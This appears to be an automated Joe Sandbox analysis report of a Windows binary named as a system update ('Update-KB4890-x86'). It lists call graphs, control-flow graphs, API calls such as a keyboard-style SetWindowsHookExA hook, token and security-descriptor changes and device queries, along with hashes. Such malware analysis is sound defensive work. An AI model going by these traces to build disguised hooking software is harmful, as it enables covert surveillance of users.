14570->14550 14572 4246fe 42 API calls 14571->14572 14573 4036d8 14572->14573 14574 40370f 14573->14574 14576 4035c0 14573->14576 14574->14558 14577 4027b0 42 API calls 14576->14577 14578 4035fe 14577->14578 14579 403440 42 API calls 14578->14579 14580 403612 14579->14580 14580->14574 14582 41ba71 14581->14582 14583 41ba6c 14581->14583 14584 41bacd 14582->14584 14585 41babf CloseHandle 14582->14585 14583->14398 14584->14398 14585->14584 14587 4246fe 42 API calls 14586->14587 14588 4166d1 CreateThread 14587->14588 14590 416733 CloseHandle 14588->14590 14591 41672a WaitForSingleObject 14588->14591 14592 415bd0 14588->14592 14590->13959 14591->14590 14593 415be0 _fast_error_exit 14592->14593 14594 416607 14593->14594 14597 415e3f 14593->14597 14595 424873 _fast_error_exit 36 API calls 14594->14595 14596 41663d 14595->14596 14599 415e46 14597->14599 14614 419ac0 GetTempPathA GetTempFileNameA 14597->14614 14644 423b1b 14599->14644 14601 416324 14648 42544d 14601->14648 14606 4165f0 14609 424873 _fast_error_exit 36 API calls 14606->14609 14607 416502 lstrlenA 14608 41655b 14607->14608 14611 416562 GetProcessHeap HeapFree 14608->14611 14655 4065d0 14608->14655 14610 4165fe 14609->14610 14611->14606 14670 4259ad 14614->14670 14617 419b41 WaitForSingleObject 14620 419b94 14617->14620 14618 41a0be 14619 424873 _fast_error_exit 36 API calls 14618->14619 14621 41a0cc 14619->14621 14673 4258f3 14620->14673 14621->14599 14645 423b22 14644->14645 14647 423b39 __lock _strncpy 14644->14647 14645->14647 14928 423870 14645->14928 14647->14601 14649 427c5b 47 API calls 14648->14649 14650 42547b 14649->14650 14652 416479 lstrlenA 14650->14652 14994 427ab4 14650->14994 14653 4013d0 14652->14653 14654 4013f4 GetProcessHeap HeapAlloc 14653->14654 14654->14606 14654->14607 14659 4065e0 _fast_error_exit 14655->14659 14656 407207 14657 424873 _fast_error_exit 36 API calls 14656->14657 14658 407222 14657->14658 14658->14611 14659->14656 14660 407229 14659->14660 14661 407245 14660->14661 14662 407277 14660->14662 14665 424873 _fast_error_exit 36 API calls 14661->14665 14663 42544d 47 API calls 14662->14663 14664 4072cb lstrlenA 14663->14664 14667 40730f 14664->14667 14666 407270 14665->14666 14666->14611 14668 424873 _fast_error_exit 36 API calls 14667->14668 14669 40735e 14668->14669 14669->14611 14701 425951 14670->14701 14672 419b30 14672->14617 14672->14618 14674 4258ff ___free_lc_time 14673->14674 14762 4297f1 14674->14762 14676 42590b 14768 429b47 14676->14768 14702 42595d ___free_lc_time 14701->14702 14712 429de6 14702->14712 14704 425962 14705 425978 14704->14705 14706 425969 14704->14706 14730 429bf9 14705->14730 14707 429d61 __lock 36 API calls 14706->14707 14711 42596e ___free_lc_time 14707->14711 14711->14672 14713 429df2 ___free_lc_time 14712->14713 14714 42758b __lock 36 API calls 14713->14714 14721 429e00 14714->14721 14715 429e71 14717 4263b4 __getbuf 36 API calls 14715->14717 14719 429e7b 14717->14719 14718 429ef4 ___free_lc_time 14718->14704 14722 42b4df __lock 2 API calls 14719->14722 14724 429e6d 14719->14724 14721->14715 14723 4274eb __lock 36 API calls 14721->14723 14721->14724 14737 429820 14721->14737 14742 429872 14721->14742 14725 429e9f 14722->14725 14723->14721 14747 429eff 14724->14747 14727 429eaa 14725->14727 14728 429ebd EnterCriticalSection 14725->14728 14729 4255be ___free_lc_time 36 API calls 14727->14729 14728->14724 14729->14724 14733 429c18 14730->14733 14731 42598b 14734 4259a3 14731->14734 14733->14731 14750 42c85d 14733->14750 14756 429843 14734->14756 14736 4259ab 14736->14711 14738 429834 EnterCriticalSection 14737->14738 14739 429829 14737->14739 14738->14721 14740 42758b __lock 36 API calls 14739->14740 14741 429832 14740->14741 14741->14721 14743 429886 LeaveCriticalSection 14742->14743 14744 42987b 14742->14744 14743->14721 14745 4274d6 ctype LeaveCriticalSection 14744->14745 14746 429884 14745->14746 14746->14721 14748 4274d6 ctype LeaveCriticalSection 14747->14748 14749 429f06 14748->14749 14749->14718 14751 42c869 ___free_lc_time 14750->14751 14752 42c576 61 API calls 14751->14752 14753 42c88a 14752->14753 14754 42c8a2 LeaveCriticalSection 14753->14754 14755 42c899 ___free_lc_time 14754->14755 14755->14731 14757 429850 14756->14757 14758 429867 LeaveCriticalSection 14756->14758 14757->14758 14759 429857 14757->14759 14758->14736 14760 4274d6 ctype LeaveCriticalSection 14759->14760 14761 429865 14760->14761 14761->14736 14763 429815 EnterCriticalSection 14762->14763 14764 4297fe 14762->14764 14763->14676 14764->14763 14765 429805 14764->14765 14766 42758b __lock 36 API calls 14765->14766 14767 429813 14766->14767 14767->14676 14769 429b54 _write_multi_char 14768->14769 14770 425916 14769->14770 14771 4263b4 __getbuf 36 API calls 14769->14771 14772 427c5b 14770->14772 14771->14770 14775 42841c 14772->14775 14780 427c92 __aulldvrm _strlen 14772->14780 14773 424873 _fast_error_exit 36 API calls 14774 425926 14773->14774 14783 429bcf 14774->14783 14775->14773 14776 427bcd 46 API calls _write_multi_char 14776->14780 14777 4263b4 __getbuf 36 API calls 14777->14780 14778 42bfe6 37 API calls 14778->14780 14779 4255be ___free_lc_time 36 API calls 14779->14780 14780->14775 14780->14776 14780->14777 14780->14778 14780->14779 14781 427c00 46 API calls _write_multi_char 14780->14781 14782 427c24 46 API calls 14780->14782 14781->14780 14782->14780 14784 429bd6 14783->14784 14785 425932 14783->14785 14784->14785 14790 4299de 14784->14790 14787 425947 14785->14787 14929 4239cd 14928->14929 14937 423d15 14929->14937 14933 423a91 __lock 14933->14933 14934 423ac5 wsprintfA 14933->14934 14935 424873 _fast_error_exit 36 API calls 14934->14935 14936 423b19 14935->14936 14936->14647 14938 423d35 __lock 14937->14938 14950 4246e0 14938->14950 14940 423d79 14942 424873 _fast_error_exit 36 API calls 14940->14942 14943 423a8c 14942->14943 14946 4237f6 GetSystemDirectoryA GetVolumeInformationA 14943->14946 14945 423d41 14945->14940 14954 423b68 14945->14954 14965 4246c8 14945->14965 14947 423855 14946->14947 14948 424873 _fast_error_exit 36 API calls 14947->14948 14949 423868 14948->14949 14949->14933 14951 4246c8 14950->14951 14968 42446c 14951->14968 14955 423b75 _fast_error_exit 14954->14955 14977 423d83 14955->14977 14958 424873 _fast_error_exit 36 API calls 14961 423d13 14958->14961 14959 423c00 14963 423d83 50 API calls 14959->14963 14964 423c29 14959->14964 14960 423ca7 14962 423d83 50 API calls 14960->14962 14961->14945 14962->14964 14963->14964 14964->14958 14966 42446c 52 API calls 14965->14966 14967 4246dd 14966->14967 14967->14945 14969 423f92 14968->14969 14970 42465e RegOpenKeyExA 14969->14970 14971 42467f RegEnumKeyExA RegCloseKey 14970->14971 14976 4246b3 14970->14976 14972 4246a7 14971->14972 14971->14976 14974 4243e5 49 API calls 14972->14974 14973 424873 _fast_error_exit 36 API calls 14975 4246c3 14973->14975 14974->14976 14975->14945 14976->14973 14978 423dc3 14977->14978 14978->14978 14979 423e4a QueryDosDeviceA 14978->14979 14980 423e83 GetLastError 14979->14980 14981 423ed5 lstrcpyA lstrcatA CreateFileA 14979->14981 14982 423e8e lstrcpyA lstrcatA DefineDosDeviceA 14980->14982 14986 423ec7 14980->14986 14983 423f52 GetLastError 14981->14983 14984 423f18 DeviceIoControl 14981->14984 14985 423ec1 GetLastError 14982->14985 14982->14986 14987 423f58 14983->14987 14984->14987 14988 423f38 GetLastError 14984->14988 14985->14986 14986->14981 14989 423f82 14986->14989 14987->14989 14990 423f64 DefineDosDeviceA 14987->14990 14988->14987 14991 424873 _fast_error_exit 36 API calls 14989->14991 14990->14989 14992 423f7a GetLastError 14990->14992 14993 423bd4 14991->14993 14992->14989 14993->14959 14993->14960 14993->14964 14996 427aca _write_multi_char 14994->14996 15003 427b51 14994->15003 14995 427b28 14997 427b32 14995->14997 14998 427b96 14995->14998 14996->14995 15002 42bf18 __getbuf 36 API calls 14996->15002 14996->15003 15000 427b49 14997->15000 15004 427b56 14997->15004 14999 42be6d _write_multi_char 44 API calls 14998->14999 14999->15003 15001 42be6d _write_multi_char 44 API calls 15000->15001 15001->15003 15002->14995 15003->14652 15004->15003 15006 42bbf4 15004->15006 15007 42bc00 ___free_lc_time 15006->15007 15008 42bc83 15007->15008 15010 42bc2b 15007->15010 15009 429d61 __lock 36 API calls 15008->15009 15011 42bc88 15009->15011 15012 42c1e1 _write_multi_char 37 API calls 15010->15012 15013 429d6a _write_multi_char 36 API calls 15011->15013 15014 42bc31 15012->15014 15022 42bc73 ___free_lc_time 15013->15022 15015 42bc53 15014->15015 15016 42bc3f 15014->15016 15018 429d61 __lock 36 API calls 15015->15018 15024 42bb80 15016->15024 15019 42bc58 15018->15019 15021 429d6a _write_multi_char 36 API calls 15019->15021 15020 42bc4b 15035 42bc7b 15020->15035 15021->15020 15022->15003 15038 42c1a0 15024->15038 15026 42bb8b 15027 42bba1 SetFilePointer 15026->15027 15028 42bb91 15026->15028 15030 42bbc2 15027->15030 15031 42bbba GetLastError 15027->15031 15029 429d61 __lock 36 API calls 15028->15029 15032 42bb96 15029->15032 15033 42bbce 15030->15033 15045 429d73 15030->15045 15031->15030 15032->15020 15033->15020 15062 42c281 LeaveCriticalSection 15035->15062 15037 42bc81 15037->15022 15039 42c1ac 15038->15039 15040 42c1c7 15039->15040 15041 429d61 __lock 36 API calls 15039->15041 15040->15026 15042 42c1cf 15041->15042 15043 429d6a _write_multi_char 36 API calls 15042->15043 15044 42c1da 15043->15044 15044->15026 15046 426f68 __lock 36 API calls 15045->15046 15047 429d79 15046->15047 15048 429da9 15047->15048 15049 429d91 15047->15049 15050 426f68 __lock 36 API calls 15048->15050 15052 429d9b 15049->15052 15053 429dba 15049->15053 15051 429dae 15050->15051 15051->15033 15057 426f68 __lock 36 API calls 15052->15057 15054 429dd8 15053->15054 15055 429dca 15053->15055 15056 426f68 __lock 36 API calls 15054->15056 15058 426f68 __lock 36 API calls 15055->15058 15059 429ddd 15056->15059 15060 429da0 15057->15060 15061 429dcf 15058->15061 15059->15033 15060->15033 15061->15033 15062->15037 15064 42cfa6 _strlen 15063->15064 15066 42cfb3 _strcat 15063->15066 15065 4263b4 __getbuf 36 API calls 15064->15065 15065->15066 15066->13962 15070 408c01 _strrchr 15067->15070 15075 408bfa 15067->15075 15068 424873 _fast_error_exit 36 API calls 15069 40ae12 15068->15069 15069->13972 15069->13975 15071 407d30 42 API calls 15070->15071 15070->15075 15072 408c67 15071->15072 15100 407560 15072->15100 15075->15068 15075->15075 15076 408c76 15076->15075 15079 408ccb 15076->15079 15104 408a60 15076->15104 15108 4075c0 15076->15108 15079->15075 15113 4253a6 15079->15113 15121 4253e5 15079->15121 15167 407850 15081->15167 15101 40756c 15100->15101 15103 4075a7 15100->15103 15102 4253a6 50 API calls 15101->15102 15101->15103 15102->15101 15103->15076 15105 408a6d 15104->15105 15129 408180 15105->15129 15110 4075cc 15108->15110 15112 407630 15108->15112 15109 4253a6 50 API calls 15109->15110 15110->15109 15111 4253e5 50 API calls 15110->15111 15110->15112 15111->15110 15112->15076 15114 426f68 __lock 36 API calls 15113->15114 15115 4253ab 15114->15115 15116 4253bb 15115->15116 15117 427a79 ___initmbctable 36 API calls 15115->15117 15118 4253d4 15116->15118 15119 427871 ___initmbctable 50 API calls 15116->15119 15117->15116 15118->15079 15120 4253d0 15119->15120 15120->15079 15122 426f68 __lock 36 API calls 15121->15122 15123 4253ea 15122->15123 15124 4253fa 15123->15124 15125 427a79 ___initmbctable 36 API calls 15123->15125 15126 425410 15124->15126 15127 427871 ___initmbctable 50 API calls 15124->15127 15125->15124 15126->15079 15128 42540c 15127->15128 15128->15079 15136 407b50 15129->15136 15133 408211 15134 424873 _fast_error_exit 36 API calls 15133->15134 15135 40823c 15134->15135 15135->15076 15137 407b85 15136->15137 15138 407b94 15136->15138 15137->15138 15152 402490 15137->15152 15139 407bf5 15138->15139 15159 407a50 15138->15159 15142 405960 15139->15142 15143 405974 15142->15143 15144 424722 42 API calls 15143->15144 15145 405984 15143->15145 15144->15145 15146 4059bf 15145->15146 15147 424762 42 API calls 15145->15147 15148 4059ea 15146->15148 15149 424762 42 API calls 15146->15149 15151 4059fd ___free_lc_time 15146->15151 15147->15146 15150 402250 42 API calls 15148->15150 15148->15151 15149->15148 15150->15151 15151->15133 15153 4024a2 15152->15153 15154 40249d 15152->15154 15156 402250 42 API calls 15153->15156 15158 4024c2 15153->15158 15155 424762 42 API calls 15154->15155 15155->15153 15157 4024b5 15156->15157 15157->15138 15158->15138 15160 407a64 15159->15160 15162 407a69 15159->15162 15161 424762 42 API calls 15160->15161 15161->15162 15163 424762 42 API calls 15162->15163 15164 407a83 15162->15164 15166 407a96 15162->15166 15163->15164 15165 402250 42 API calls 15164->15165 15164->15166 15165->15166 15166->15138 15168 4246fe 42 API calls 15167->15168 15169 407857 15168->15169 15170 407da0 15169->15170 15171 407dcc 15170->15171 15172 407e1d 15170->15172 15173 4028a0 42 API calls 15171->15173 15172->13991 15172->13992 15174 407df1 15173->15174 15175 402a30 42 API calls 15174->15175 15180 41e09d 15179->15180 15181 41df4e 15179->15181 15180->13997 15181->15180 15182 41df5a CreateFileA 15181->15182 15255 401000 15192->15255 15237 401b96 15236->15237 15237->15237 16039 4016f0 15237->16039 15239 401bb7 15240 401e69 15239->15240 15241 401bbf GetProcessHeap HeapAlloc 15239->15241 15242 424873 _fast_error_exit 36 API calls 15240->15242 15243 401bda 15241->15243 15254 401bf4 15241->15254 15244 401e77 15242->15244 15245 424873 _fast_error_exit 36 API calls 15243->15245 15247 401beb 15245->15247 15246 401e55 GetProcessHeap HeapFree 15246->15240 15248 401c23 Sleep 15248->15254 15249 401c46 Sleep 15249->15254 15250 401d03 6 API calls 15251 401dda CloseHandle CloseHandle 15250->15251 15252 401e0c DeleteFileA 15250->15252 15253 401830 40 API calls 15251->15253 15252->15254 15253->15254 15254->15246 15254->15248 15254->15249 15254->15250 15256 4010c0 15255->15256 15256->15256 15257 4010d2 ExpandEnvironmentStringsA CreateFileA 15256->15257 15258 401106 15257->15258 15259 40111b CloseHandle 15257->15259 15260 424873 _fast_error_exit 36 API calls 15258->15260 15261 424873 _fast_error_exit 36 API calls 15259->15261 16040 4017b0 16039->16040 16040->16040 16041 4017c2 ExpandEnvironmentStringsA CreateFileA 16040->16041 16042 4017f6 16041->16042 16043 40180b CloseHandle 16041->16043 16044 424873 _fast_error_exit 36 API calls 16042->16044 16045 424873 _fast_error_exit 36 API calls 16043->16045 16046 401804 16044->16046 16047 401823 16045->16047 16046->15239 16047->15239 16060->13573 16061->13577 12646 41f830 12647 41f853 12646->12647 12648 41f84b GetProcessHeap HeapFree 12646->12648 12649 41f865 12647->12649 12650 41f85d GetProcessHeap HeapFree 12647->12650 12648->12647 12651 41f877 CloseHandle CloseHandle CloseHandle CloseHandle CloseHandle 12649->12651 12652 41f86f GetProcessHeap HeapFree 12649->12652 12650->12649 12653 41f8b4 SetEvent Sleep 12651->12653 12654 41f8d6 12651->12654 12652->12651 12653->12654

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 259 423260-4232bd GetProcessHeap HeapAlloc 260 4232d3-4232e2 HeapAlloc 259->260 261 4232bf-4232d0 call 424873 259->261 263 423306-423318 HeapAlloc 260->263 264 4232e4-423303 HeapFree call 424873 260->264 265 423344-423354 HeapAlloc 263->265 266 42331a-423329 HeapFree 263->266 270 423356-42336c HeapFree * 2 265->270 271 42336e-42337b HeapAlloc 265->271 269 42332a-42332d HeapFree 266->269 273 42332f-423341 call 424873 269->273 270->269 274 42339f-4233ad HeapAlloc 271->274 275 42337d-42339d HeapFree * 3 271->275 277 4233df-423405 InitializeSecurityDescriptor 274->277 278 4233af-4233da HeapFree * 4 274->278 275->269 277->273 280 42340b-423424 GetCurrentProcess OpenProcessToken 277->280 278->269 280->273 281 42342a-423446 GetTokenInformation 280->281 281->273 282 42344c-423466 GetTokenInformation 281->282 282->273 283 42346c-423486 GetTokenInformation 282->283 283->273 284 42348c-423490 283->284 284->273 285 423496-4234a5 SetSecurityDescriptorOwner 284->285 285->273 286 4234ab-4234b3 285->286 286->273 287 4234b9-4234c8 SetSecurityDescriptorGroup 286->287 287->273 288 4234ce-4234f5 AllocateAndInitializeSid 287->288 288->273 289 4234fb-423501 288->289 289->273 290 423507-4235b0 GetLengthSid AddAce 289->290 290->273 291 4235b6-4235f7 AllocateAndInitializeSid 290->291 291->273 292 4235fd-423603 291->292 292->273 293 423609-4236c7 GetLengthSid AddAce 292->293 293->273 294 4236cd-42370c AllocateAndInitializeSid 293->294 294->273 295 423712-423718 294->295 295->273 296 42371e-423793 GetLengthSid AddAce 295->296 296->273 297 423799-4237b6 IsValidSecurityDescriptor 296->297 297->273 298 4237bc-4237da call 424873 297->298
                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32 ref: 0042329F
                                                                    • HeapAlloc.KERNEL32(00000000,00000008,00000014), ref: 004232B2
                                                                    • HeapAlloc.KERNEL32(00000000,00000008,00001000,00000000), ref: 004232DC
                                                                    • HeapFree.KERNEL32(00000000,00000000,?), ref: 004232EB
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$Alloc$FreeProcess
                                                                    • String ID:
                                                                    • API String ID: 4128259342-0
                                                                    • Opcode ID: 8f0c75df61baccf555039c07e55f9e7a4c47b3d129244f42066f45807613cd4b
                                                                    • Instruction ID: cabeeef3d48c1ccb1133837745078946395a36f2d94fb2f40b145150ed7ea3f1
                                                                    • Opcode Fuzzy Hash: 8f0c75df61baccf555039c07e55f9e7a4c47b3d129244f42066f45807613cd4b
                                                                    • Instruction Fuzzy Hash: 27F1BC70204354ABD310DF25DC41F6B7BE9EB89700F44492DF984DB290DBB9EA05CB6A

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 331 41f660-41f76d 332 41f773-41f785 331->332 332->332 333 41f787-41f794 332->333 334 41f7a7-41f7ac 333->334 335 41f796-41f7a6 call 424873 333->335 337 41f7b4-41f7c7 LoadLibraryA 334->337 338 41f7ae-41f7b2 334->338 340 41f7df-41f7ef call 424873 337->340 341 41f7c9-41f7dd GetProcAddress 337->341 338->337 338->340 341->340 342 41f7f0-41f80a SetWindowsHookExA 341->342 345 41f80c 342->345 346 41f80e-41f824 call 424873 342->346 345->346
                                                                    APIs
                                                                    • LoadLibraryA.KERNELBASE(00000000), ref: 0041F7B9
                                                                    • GetProcAddress.KERNEL32(00000000,00000043), ref: 0041F7CF
                                                                    • SetWindowsHookExA.USER32(00000005,00000000,00000000,00000000), ref: 0041F7FC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressHookLibraryLoadProcWindows
                                                                    • String ID: "$'$)$;$A$B$C$E$N$P$P$S$c$h$o$r
                                                                    • API String ID: 2564493370-1035779198
                                                                    • Opcode ID: 00a429360f83fa20652cea882935d05cc92ee5958ea3b9dd59ca4227aa40c6aa
                                                                    • Instruction ID: d6bcc57e59aaaf67e7ff94e30ae49016207e17142ead068d2604868bf6eb43c5
                                                                    • Opcode Fuzzy Hash: 00a429360f83fa20652cea882935d05cc92ee5958ea3b9dd59ca4227aa40c6aa
                                                                    • Instruction Fuzzy Hash: D6514B2520C3C19AD311DB39984478BBFD15FA6318F484AADF0E9873D2D3A9C54AC76B

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 383 41f830-41f849 384 41f853-41f85b 383->384 385 41f84b-41f851 GetProcessHeap HeapFree 383->385 386 41f865-41f86d 384->386 387 41f85d-41f863 GetProcessHeap HeapFree 384->387 385->384 388 41f877-41f8b2 CloseHandle * 5 386->388 389 41f86f-41f875 GetProcessHeap HeapFree 386->389 387->386 390 41f8b4-41f8cc SetEvent Sleep 388->390 391 41f8d6-41f8d9 388->391 389->388 390->391
                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 0041F84E
                                                                    • HeapFree.KERNEL32(00000000), ref: 0041F851
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 0041F860
                                                                    • HeapFree.KERNEL32(00000000), ref: 0041F863
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 0041F872
                                                                    • HeapFree.KERNEL32(00000000), ref: 0041F875
                                                                    • CloseHandle.KERNELBASE(?), ref: 0041F884
                                                                    • CloseHandle.KERNEL32(?), ref: 0041F88D
                                                                    • CloseHandle.KERNEL32(?), ref: 0041F896
                                                                    • CloseHandle.KERNEL32(?), ref: 0041F89F
                                                                    • CloseHandle.KERNEL32(?), ref: 0041F8A8
                                                                    • SetEvent.KERNEL32(?), ref: 0041F8BB
                                                                    • Sleep.KERNEL32(000003E8), ref: 0041F8C6
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$CloseHandle$FreeProcess$EventSleep
                                                                    • String ID:
                                                                    • API String ID: 2749338665-0
                                                                    • Opcode ID: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
                                                                    • Instruction ID: 76c645c424173bd840e30338d02661637eb24344bf89ff37b7fb3177c525ef51
                                                                    • Opcode Fuzzy Hash: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
                                                                    • Instruction Fuzzy Hash: 2D11BA71300704ABE620ABBADC84FEBF3ECAF98751F05492AE559C7250CA74F8418A64

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 402 425d91-425de3 call 42664c call 4254b0 GetVersionExA 407 425df1-425e0b GetModuleHandleA 402->407 408 425de5-425deb 402->408 409 425e2c-425e2f 407->409 410 425e0d-425e18 407->410 408->407 412 425e58-425e62 call 42846f 409->412 410->409 411 425e1a-425e23 410->411 413 425e44-425e48 411->413 414 425e25-425e2a 411->414 421 425e64-425e6b call 425d6d 412->421 422 425e6c-425e73 call 427120 412->422 413->409 417 425e4a-425e4c 413->417 414->409 416 425e31-425e38 414->416 416->409 419 425e3a-425e42 416->419 420 425e52-425e55 417->420 419->420 420->412 421->422 427 425e75-425e7c call 425d6d 422->427 428 425e7d-425e8c call 42ad49 call 42ab4b 422->428 427->428 435 425e96-425eb2 GetCommandLineA call 42aa29 call 42a987 428->435 436 425e8e-425e95 call 425d48 428->436 443 425eb4-425ebb call 425d48 435->443 444 425ebc-425ec3 call 42a754 435->444 436->435 443->444 449 425ec5-425ecc call 425d48 444->449 450 425ecd-425eda call 4291ea 444->450 449->450 455 425ee3-425efc GetStartupInfoA call 42a6f7 450->455 456 425edc-425ee2 call 425d48 450->456 461 425f04-425f06 455->461 462 425efe-425f02 455->462 456->455 463 425f07-425f1d GetModuleHandleA call 415060 461->463 462->463 466 425f25-425f65 call 429339 call 426687 463->466 467 425f1f-425f20 call 429317 463->467 467->466
                                                                    APIs
                                                                    • GetVersionExA.KERNEL32(?,0042E598,00000060), ref: 00425DB1
                                                                    • GetModuleHandleA.KERNEL32(00000000,?,0042E598,00000060), ref: 00425E04
                                                                    • _fast_error_exit.LIBCMT ref: 00425E66
                                                                    • _fast_error_exit.LIBCMT ref: 00425E77
                                                                    • GetCommandLineA.KERNEL32(?,0042E598,00000060), ref: 00425E96
                                                                    • GetStartupInfoA.KERNEL32(?), ref: 00425EEA
                                                                    • __wincmdln.LIBCMT ref: 00425EF0
                                                                    • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00425F0D
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: HandleModule_fast_error_exit$CommandInfoLineStartupVersion__wincmdln
                                                                    • String ID:
                                                                    • API String ID: 3897392166-0
                                                                    • Opcode ID: 3b144cdf6a657c3d277f1513a7a37946c3bbd038f07daa96f711f80a89638c8d
